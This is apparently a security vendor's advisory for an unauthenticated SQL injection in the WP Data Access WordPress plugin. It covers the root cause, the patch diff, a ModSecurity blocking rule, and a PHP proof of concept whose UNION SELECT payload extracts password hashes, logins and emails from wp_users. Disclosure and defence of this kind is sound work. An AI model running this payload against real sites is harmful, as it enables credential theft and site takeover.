Published : May 16, 2026

CVE-2026-42665: WP Data Access – App Builder for Tables, Forms, Charts, Maps & Dashboards <= 5.5.70 – Unauthenticated SQL Injection (wp-data-access)

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 5.5.70
Patched Version 5.5.71
Disclosed May 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42665:
This vulnerability allows unauthenticated SQL injection in the WP Data Access plugin for WordPress (versions up to and including 5.5.70). The flaw exists in the Data Tables feature’s server-side processing endpoint. An unauthenticated attacker can inject arbitrary SQL into already existing queries to extract sensitive database content. The CVSS score is 7.5 (High).

The root cause is insufficient input validation and lack of parameterized queries in the WPDA_Data_Tables class, specifically in the file `wp-data-access/WPDataAccess/Data_Tables/WPDA_Data_Tables.php`. The vulnerable code directly concatenates user-supplied `start`, `length`, `more_start`, and `more_limit` parameters into SQL queries without proper sanitization or prepared statements. At lines 634-645, the plugin applies only `sanitize_text_field()` to these numeric parameters, which does not prevent SQL injection. The parameters are then directly interpolated into the query string at line 973: `” limit {$limit} offset {$offset}”`.

An attacker can exploit this by sending a crafted request to any page that uses the Data Tables AJAX endpoint. The attacker sends POST or GET requests with `start` or `length` parameters containing SQL injection payloads. For example, setting `start=0 UNION SELECT …` allows the attacker to append arbitrary SQL commands. The `permission_callback` on the REST route is `__return_true`, meaning no authentication is required to trigger the vulnerable functionality. The attack vector is via the `action/table` REST endpoint or the DataTables JavaScript initialization parameters.

The patch replaces direct string interpolation with `$wpdadb->prepare()` using placeholder `%d` for integer values. The changed code on line 970-971 now reads: `$query .= $wpdadb->prepare( ” limit %d offset %d”, [$limit, $offset] );`. Additionally, the patch adds `ctype_digit()` checks (lines 634, 638, 642) to ensure the parameters are strictly numeric before casting them to integers. The `sanitize_text_field()` calls are removed in favor of direct integer casting. The debug output previously accessible at line 1318-1320 is now gated behind a plugin debug option to reduce information leakage.

Successful exploitation allows an unauthenticated attacker to extract all data from the WordPress database, including user credentials, password hashes, session tokens, and other sensitive information stored in any database table. The attacker could also modify data through stacked queries if the database driver supports them. This can lead to full site compromise, privilege escalation, and data theft.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-data-access/WPDataAccess/API/WPDA_API_Core.php
+++ b/wp-data-access/WPDataAccess/API/WPDA_API_Core.php
@@ -407,6 +407,13 @@
                     return is_array( $param );
                 },
             ),
+            'copy_key'           => array(
+                'required'          => true,
+                'type'              => 'string',
+                'description'       => __( 'Internal copy action identifier', 'wp-data-access' ),
+                'sanitize_callback' => 'sanitize_text_field',
+                'validate_callback' => 'rest_validate_request_arg',
+            ),
             'access'             => array(
                 'required'          => true,
                 'type'              => 'string',
--- a/wp-data-access/WPDataAccess/API/WPDA_Actions.php
+++ b/wp-data-access/WPDataAccess/API/WPDA_Actions.php
@@ -2,6 +2,7 @@

 namespace WPDataAccessAPI;

+use PDOException;
 use WPDataAccessConnectionWPDADB;
 use WPDataAccessPlugin_Table_ModelsWPDA_Media_Model;
 use WPDataAccessPlugin_Table_ModelsWPDA_Table_Settings_Model;
@@ -9,6 +10,8 @@
 use WPDataAccessUtilitiesWPDA_Mail;
 use WPDataAccessWPDA;
 class WPDA_Actions extends WPDA_API_Core {
+    const WPDA_COPY_TABLE = 'wpda_copy_table';
+
     protected $file_pointer;

     protected $file_content;
@@ -40,6 +43,23 @@
                     'sanitize_callback' => 'sanitize_text_field',
                     'validate_callback' => 'rest_validate_request_arg',
                 ),
+                'copy_key'  => $this->get_param( 'copy_key' ),
+            ),
+        ) );
+        register_rest_route( WPDA_API::WPDA_NAMESPACE, 'action/copy/start', array(
+            'methods'             => array('POST'),
+            'callback'            => array($this, 'action_copy_start'),
+            'permission_callback' => '__return_true',
+            'args'                => array(
+                'copy_key' => $this->get_param( 'copy_key' ),
+            ),
+        ) );
+        register_rest_route( WPDA_API::WPDA_NAMESPACE, 'action/copy/cancel', array(
+            'methods'             => array('POST'),
+            'callback'            => array($this, 'action_copy_cancel'),
+            'permission_callback' => '__return_true',
+            'args'                => array(
+                'copy_key' => $this->get_param( 'copy_key' ),
             ),
         ) );
         register_rest_route( WPDA_API::WPDA_NAMESPACE, 'action/truncate', array(
@@ -354,6 +374,7 @@
         $from_tbl = $request->get_param( 'from_tbl' );
         $to_tbl = $request->get_param( 'to_tbl' );
         $copy_data = $request->get_param( 'copy_data' );
+        $copy_key = $request->get_param( 'copy_key' );
         if ( '' === $from_dbs || '' === $to_dbs || '' === $from_tbl || '' === $to_tbl ) {
             return $this->bad_request();
         }
@@ -362,7 +383,8 @@
             $to_dbs,
             $from_tbl,
             $to_tbl,
-            $copy_data
+            $copy_data,
+            $copy_key
         );
         if ( '' === $msg ) {
             return $this->WPDA_Rest_Response( __( 'Table successfully copied', 'wp-data-access' ) );
@@ -373,6 +395,42 @@
         }
     }

+    public function action_copy_start( $request ) {
+        if ( !$this->current_user_can_access() ) {
+            return $this->unauthorized();
+        }
+        if ( !$this->current_user_token_valid( $request ) ) {
+            return $this->invalid_nonce();
+        }
+        if ( !WPDA::current_user_is_admin() ) {
+            return $this->unauthorized();
+        }
+        $copy_key = $request->get_param( 'copy_key' );
+        if ( '' === $copy_key ) {
+            return $this->bad_request();
+        }
+        $this->copy_start( $copy_key );
+        return $this->WPDA_Rest_Response( 'ok', self::copy_in_progress() );
+    }
+
+    public function action_copy_cancel( $request ) {
+        if ( !$this->current_user_can_access() ) {
+            return $this->unauthorized();
+        }
+        if ( !$this->current_user_token_valid( $request ) ) {
+            return $this->invalid_nonce();
+        }
+        if ( !WPDA::current_user_is_admin() ) {
+            return $this->unauthorized();
+        }
+        $copy_key = $request->get_param( 'copy_key' );
+        if ( '' === $copy_key ) {
+            return $this->bad_request();
+        }
+        $this->copy_stop( $copy_key );
+        return $this->WPDA_Rest_Response( 'ok', self::copy_in_progress() );
+    }
+
     public function action_rename( $request ) {
         if ( !$this->current_user_can_access() ) {
             return $this->unauthorized();
@@ -429,7 +487,8 @@
         $to_dbs,
         $from_tbl,
         $to_tbl,
-        $copy_data
+        $copy_data,
+        $copy_key
     ) {
         // All values have already been validated and sanitized in the rest route registration.
         if ( !WPDA::current_user_is_admin() ) {
@@ -488,30 +547,90 @@
             // Copy data from source to destination table.
             set_time_limit( 0 );
             // Prevent time out.
-            // Use a cursor to process all rows and prevent exhausting memory.
-            // Process 100 rows per batch to prevent exhausting memory.
-            $buffer_size = 100;
+            // Buffer rows to prevent exhausting memory.
+            $buffer_size = 1000;
+            // Default buffer
+            $settings_db = WPDA_Table_Settings_Model::query( $from_tbl, $from_dbs );
+            if ( isset( $settings_db[0]['wpda_table_settings'] ) ) {
+                // Convert string to JSON.
+                $settings = json_decode( $settings_db[0]['wpda_table_settings'], true );
+                if ( isset( $settings['table_settings']['query_buffer_size'] ) && is_numeric( $settings['table_settings']['query_buffer_size'] ) ) {
+                    $buffer_size = intval( $settings['table_settings']['query_buffer_size'] );
+                }
+            }
             $index = 0;
             $loop_done = false;
+            $wpdadb_from->save_queries = false;
+            $wpdadb_to->save_queries = false;
             while ( !$loop_done ) {
                 // Get rows.
-                $rows = $wpdadb_from->get_results( $wpdadb_from->prepare( 'select * from `%1s` limit %1s offset %1s', array($from_tbl, $buffer_size, $index * $buffer_size) ), 'ARRAY_A' );
+                $rows = $wpdadb_from->get_results( $wpdadb_from->prepare( 'select * from `%1s` limit %d offset %d', array($from_tbl, $buffer_size, $index * $buffer_size) ), 'ARRAY_A' );
                 // Process rows.
                 foreach ( $rows as $row ) {
                     $wpdadb_to->insert( $to_tbl, $row );
                 }
+                // Cleanup = IMPORTANT!
+                $wpdadb_from->flush();
+                $wpdadb_to->flush();
+                $wpdadb_to->queries = array();
+                $wpdadb_to->last_query = '';
+                $wpdadb_to->last_error = '';
+                $wpdadb_to->result = null;
+                $wpdadb_to->num_rows = 0;
+                $wpdadb_to->rows_affected = 0;
+                wp_cache_flush();
+                if ( function_exists( 'gc_collect_cycles' ) ) {
+                    gc_collect_cycles();
+                }
                 if ( 100 > count( $rows ) ) {
                     // No more rows to process.
                     $loop_done = true;
                 }
+                unset($rows);
                 $index++;
+                // Check if job was cancelled
+                $in_progress = self::copy_in_progress();
+                if ( !in_array( $copy_key, $in_progress ) ) {
+                    $loop_done = true;
+                }
             }
         }
         $wpdadb_from->suppress_errors = $suppress_errors_from;
         $wpdadb_to->suppress_errors = $suppress_errors_to;
+        $this->copy_stop( $copy_key );
+        if ( '' !== $wpdadb_from->last_error ) {
+            return $wpdadb_from->last_error;
+        }
+        if ( '' !== $wpdadb_to->last_error ) {
+            return $wpdadb_to->last_error;
+        }
         return '';
     }

+    private function copy_start( $copy_key ) {
+        $in_progress = self::copy_in_progress();
+        $in_progress[] = $copy_key;
+        update_user_meta( WPDA::get_current_user_id(), self::WPDA_COPY_TABLE, $in_progress );
+    }
+
+    private function copy_stop( $copy_key ) {
+        $in_progress = self::copy_in_progress();
+        if ( ($array_key = array_search( $copy_key, $in_progress )) !== false ) {
+            unset($in_progress[$array_key]);
+            $in_progress = array_values( $in_progress );
+            // Reset indexes to start at 0
+        }
+        update_user_meta( WPDA::get_current_user_id(), self::WPDA_COPY_TABLE, $in_progress );
+    }
+
+    public static function copy_in_progress() {
+        $in_progress = get_user_meta( WPDA::get_current_user_id(), self::WPDA_COPY_TABLE, true );
+        if ( $in_progress === false || $in_progress === '' ) {
+            return array();
+        }
+        return maybe_unserialize( $in_progress );
+    }
+
     private function truncate( $dbs, $tbl ) {
         // All values have already been validated and sanitized in the rest route registration.
         if ( !WPDA::current_user_is_admin() ) {
--- a/wp-data-access/WPDataAccess/API/WPDA_Apps.php
+++ b/wp-data-access/WPDataAccess/API/WPDA_Apps.php
@@ -1991,12 +1991,13 @@
         $settings->env = $this->get_env();
         global $wpdb;
         $settings->wp = [
-            'roles'       => $this->get_wp_roles(),
-            'users'       => $this->get_wp_users(),
-            'home'        => admin_url( 'admin.php' ),
-            'tables'      => array_values( $wpdb->tables() ),
-            'date_format' => get_option( 'date_format' ),
-            'time_format' => get_option( 'time_format' ),
+            'roles'         => $this->get_wp_roles(),
+            'users'         => $this->get_wp_users(),
+            'home'          => admin_url( 'admin.php' ),
+            'tables'        => array_values( $wpdb->tables() ),
+            'date_format'   => get_option( 'date_format' ),
+            'time_format'   => get_option( 'time_format' ),
+            'scroll_offset' => WPDA::get_option( WPDA::OPTION_APPS_SCROLL_OFFSET ),
         ];
         return $settings;
     }
--- a/wp-data-access/WPDataAccess/API/WPDA_Table.php
+++ b/wp-data-access/WPDataAccess/API/WPDA_Table.php
@@ -1178,16 +1178,18 @@
             $connect = null;
             global $wpdb;
             $settings->wp = [
-                'roles'       => $this->get_wp_roles(),
-                'users'       => $this->get_wp_users(),
-                'home'        => admin_url( 'admin.php' ),
-                'homea'       => admin_url( 'admin-ajax.php' ),
-                'tables'      => array_values( $wpdb->tables() ),
-                'date_format' => get_option( 'date_format' ),
-                'time_format' => get_option( 'time_format' ),
-                'alter'       => $wp_nonce_alter,
-                'refresh'     => $wp_nonce_refresh,
-                'connect'     => $connect,
+                'roles'          => $this->get_wp_roles(),
+                'users'          => $this->get_wp_users(),
+                'home'           => admin_url( 'admin.php' ),
+                'homea'          => admin_url( 'admin-ajax.php' ),
+                'tables'         => array_values( $wpdb->tables() ),
+                'date_format'    => get_option( 'date_format' ),
+                'time_format'    => get_option( 'time_format' ),
+                'alter'          => $wp_nonce_alter,
+                'refresh'        => $wp_nonce_refresh,
+                'connect'        => $connect,
+                'copyinprogress' => WPDA_Actions::copy_in_progress(),
+                'scroll_offset'  => WPDA::get_option( WPDA::OPTION_APPS_SCROLL_OFFSET ),
             ];
             if ( true === $waa ) {
                 $settings->wp['aonce'] = implode( '-', array(
--- a/wp-data-access/WPDataAccess/Data_Tables/WPDA_Data_Tables.php
+++ b/wp-data-access/WPDataAccess/Data_Tables/WPDA_Data_Tables.php
@@ -634,22 +634,22 @@
         $this->serverSide = true;
         // Set pagination values.
         $offset = 0;
-        if ( isset( $_REQUEST['start'] ) ) {
-            $offset = sanitize_text_field( wp_unslash( $_REQUEST['start'] ) );
+        if ( isset( $_REQUEST['start'] ) && ctype_digit( $_REQUEST['start'] ) ) {
+            $offset = (int) $_REQUEST['start'];
             // input var okay.
         }
         $limit = -1;
         // jQuery DataTables default.
-        if ( isset( $_REQUEST['length'] ) ) {
-            $limit = sanitize_text_field( wp_unslash( $_REQUEST['length'] ) );
+        if ( isset( $_REQUEST['length'] ) && ctype_digit( $_REQUEST['length'] ) ) {
+            $limit = (int) $_REQUEST['length'];
             // input var okay.
         }
         $publication_mode = 'normal';
-        if ( -1 == $limit && isset( $_REQUEST['more_start'] ) && isset( $_REQUEST['more_limit'] ) ) {
+        if ( -1 == $limit && isset( $_REQUEST['more_start'] ) && ctype_digit( $_REQUEST['more_start'] ) && isset( $_REQUEST['more_limit'] ) && ctype_digit( $_REQUEST['more_limit'] ) ) {
             $publication_mode = 'more';
-            $offset = sanitize_text_field( wp_unslash( $_REQUEST['more_start'] ) );
+            $offset = (int) $_REQUEST['more_start'];
             // input var okay.
-            $limit = sanitize_text_field( wp_unslash( $_REQUEST['more_limit'] ) );
+            $limit = (int) $_REQUEST['more_limit'];
             // input var okay.
         }
         if ( '' !== $pub_id && '0' != $pub_id ) {
@@ -970,7 +970,7 @@
             $query .= " order by {$orderby} ";
         }
         if ( -1 != $limit ) {
-            $query .= " limit {$limit} offset {$offset}";
+            $query .= $wpdadb->prepare( " limit %d offset %d", [$limit, $offset] );
         }
         $hyperlinks = array();
         if ( count( $hyperlinks_column_index ) ) {
@@ -1315,7 +1315,9 @@
         $obj->recordsFiltered = 0;
         $obj->data = array();
         $obj->error = $error;
-        $obj->debug = $debug;
+        if ( 'on' === WPDA::get_option( WPDA::OPTION_PLUGIN_DEBUG ) ) {
+            $obj->debug = $debug;
+        }
         echo json_encode( $obj );
     }

--- a/wp-data-access/WPDataAccess/Settings/WPDA_Settings.php
+++ b/wp-data-access/WPDataAccess/Settings/WPDA_Settings.php
@@ -73,6 +73,7 @@
         // Tabs array is filled in constructor to add i18n.
         $this->tabs = array(
             'plugin'     => 'Plugin',
+            'apps'       => 'Apps',
             'backend'    => 'Back-end',
             'frontend'   => 'Front-end',
             'uninstall'  => 'Uninstall',
--- a/wp-data-access/WPDataAccess/Settings/WPDA_Settings_Apps.php
+++ b/wp-data-access/WPDataAccess/Settings/WPDA_Settings_Apps.php
@@ -0,0 +1,82 @@
+<?php
+
+namespace WPDataAccessSettings {
+
+    use WPDataAccessWPDA;
+
+    class WPDA_Settings_Apps extends WPDA_Settings {
+
+        /**
+         * Add back-end tab content
+         *
+         * See class documentation for flow explanation.
+         *
+         * @since   5.5.71
+         */
+        protected function add_content() {
+
+            if ( isset( $_REQUEST['action'] ) ) {
+                $action = sanitize_text_field(wp_unslash($_REQUEST['action'])); // input var okay.
+
+                // Security check.
+                $wp_nonce = isset( $_REQUEST['_wpnonce'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ) : ''; // input var okay.
+                if ( ! wp_verify_nonce( $wp_nonce, 'wpda-apps-settings' ) ) {
+                    wp_die( __( 'ERROR: Not authorized', 'wp-data-access' ) );
+                }
+
+                if ( 'save' === $action ) {
+
+                    if (
+                        isset( $_REQUEST['scroll_offset'] ) &&
+                        '' !== $_REQUEST['scroll_offset']
+                    ) {
+                        $scroll_offset = sanitize_text_field( wp_unslash( $_REQUEST['scroll_offset'] ) ); // input var okay.
+                        update_option( 'wpda_apps_scroll_offset', $scroll_offset );
+                    }
+
+                } elseif ( 'setdefaults' === $action ) {
+
+                    WPDA::set_option( WPDA::OPTION_APPS_SCROLL_OFFSET );
+
+                }
+            }
+
+            $scroll_offset = WPDA::get_option( WPDA::OPTION_APPS_SCROLL_OFFSET );
+
+            ?>
+            <form id="wpda_settings_backend" method="post"
+                  action="?page=<?php echo esc_attr( $this->page ); ?>&tab=apps">
+                <table class="wpda-table-settings">
+                    <tr>
+                        <th><?php echo __( 'Scroll Offset', 'wp-data-access' ); ?></th>
+                        <td>
+                            <input
+                                type="number" step="1" min="0" max="999" name="scroll_offset" maxlength="3"
+                                value="<?php echo esc_attr( $scroll_offset ); ?>">
+                        </td>
+                    </tr>
+                </table>
+                <div class="wpda-table-settings-button">
+                    <input type="hidden" name="action" value="save"/>
+                    <button type="submit" class="button button-primary">
+                        <i class="fas fa-check wpda_icon_on_button"></i>
+                        <?php echo __( 'Save Apps Settings', 'wp-data-access' ); ?>
+                    </button>
+                    <a href="javascript:void(0)"
+                       onclick="if (confirm('<?php echo __( 'Reset to defaults?', 'wp-data-access' ); ?>')) {
+                           jQuery('input[name="action"]').val('setdefaults');
+                           jQuery('#wpda_settings_backend').trigger('submit')
+                           }"
+                       class="button">
+                        <i class="fas fa-times-circle wpda_icon_on_button"></i>
+                        <?php echo __( 'Reset Apps Settings To Defaults', 'wp-data-access' ); ?>
+                    </a>
+                </div>
+                <?php wp_nonce_field( 'wpda-apps-settings', '_wpnonce', false ); ?>
+            </form>
+            <?php
+
+        }
+    }
+
+}
 No newline at end of file
--- a/wp-data-access/WPDataAccess/WPDA.php
+++ b/wp-data-access/WPDataAccess/WPDA.php
@@ -51,8 +51,8 @@
 		/**
 		 * Option wpda_version and it's default value
 		 */
-		const OPTION_WPDA_VERSION         = array( 'wpda_version', '5.5.70' );
-		const OPTION_WPDA_CLIENT_VERSION  = array( 'wpda_client_version', '1.0.68' );
+		const OPTION_WPDA_VERSION         = array( 'wpda_version', '5.5.71' );
+		const OPTION_WPDA_CLIENT_VERSION  = array( 'wpda_client_version', '1.0.69' );
 		const OPTION_WPDA_UPGRADED        = array( 'wpda_upgraded', false );
 		/**
 		 * Option wpda_setup_error and it's default value
@@ -127,6 +127,9 @@
 		const OPTION_PLUGIN_TIME_PLACEHOLDER = array( 'wpda_plugin_time_placeholder', 'hh:mi');
 		const OPTION_PLUGIN_SET_FORMAT       = array( 'wpda_plugin_set_format', 'csv');

+        // App options
+        const OPTION_APPS_SCROLL_OFFSET = array( 'wpda_apps_scroll_offset', '120');
+
 		// Plugin debug mode
 		const OPTION_PLUGIN_DEBUG = array( 'wpda_plugin_debug', 'off');

--- a/wp-data-access/includes/class-wp-data-access.php
+++ b/wp-data-access/includes/class-wp-data-access.php
@@ -495,6 +495,9 @@
         $current_tab = ( isset( $_REQUEST['tab'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['tab'] ) ) : 'plugin' );
         // phpcs:ignore WordPress.Security.NonceVerification
         switch ( $current_tab ) {
+            case 'apps':
+                $wpda_settings_class_name = 'WPDA_Settings_Apps';
+                break;
             case 'backend':
                 $wpda_settings_class_name = 'WPDA_Settings_BackEnd';
                 break;
--- a/wp-data-access/wp-data-access.php
+++ b/wp-data-access/wp-data-access.php
@@ -4,7 +4,7 @@
  * Plugin Name:       WP Data Access
  * Plugin URI:        https://wpdataaccess.com/
  * Description:       A powerful data-driven App Builder with an intuitive Table Builder, a highly customizable Form Builder and interactive Chart support in 35 languages
- * Version:           5.5.70
+ * Version:           5.5.71
  * Author:            Passionate Programmers B.V.
  * Author URI:        https://wpdataaccess.com/
  * Text Domain:       wp-data-access

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-42665
# Blocks unauthenticated SQL injection attempts against WP Data Access REST endpoint
SecRule REQUEST_URI "@beginsWith /wp-json/wpda/v2/action/table" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-42665 SQLi attempt via WP Data Access REST endpoint',severity:'CRITICAL',tag:'CVE-2026-42665',tag:'wordpress',tag:'sqli'"
  SecRule ARGS_POST:start "@rx (union|select|insert|update|delete|drop|alter|exec|'|--|#|/*)" "t:lowercase,t:urlDecode,chain"
    SecRule ARGS_POST:length "@rx ^d+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42665 - WP Data Access - App Builder for Tables, Forms, Charts, Maps & Dashboards <= 5.5.70 - Unauthenticated SQL Injection

$target_url = 'http://example.com'; // Replace with actual WordPress site URL
$endpoint = '/wp-json/wpda/v2/action/table';

// SQL injection payload in 'start' parameter (UNION-based extraction of admin hashes)
$payload = "0 UNION SELECT user_pass,user_login,user_email,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM wp_users LIMIT 1 OFFSET 0";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'table',
    'start' => $payload,
    'length' => '10',
    'pub_id' => '1' // Must exist in wpda_publication or trigger error
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'X-WP-Nonce: ' . '' // Nonce not validated on vulnerable path
]);

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo '[!] Error: ' . curl_error($ch) . "n";
} else {
    echo '[+] Response received:n' . $response . "n";
    // Parse JSON response to extract injected data
    $data = json_decode($response, true);
    if (isset($data['data'])) {
        echo '[+] Extracted data: ' . print_r($data['data'], true) . "n";
    }
}
curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School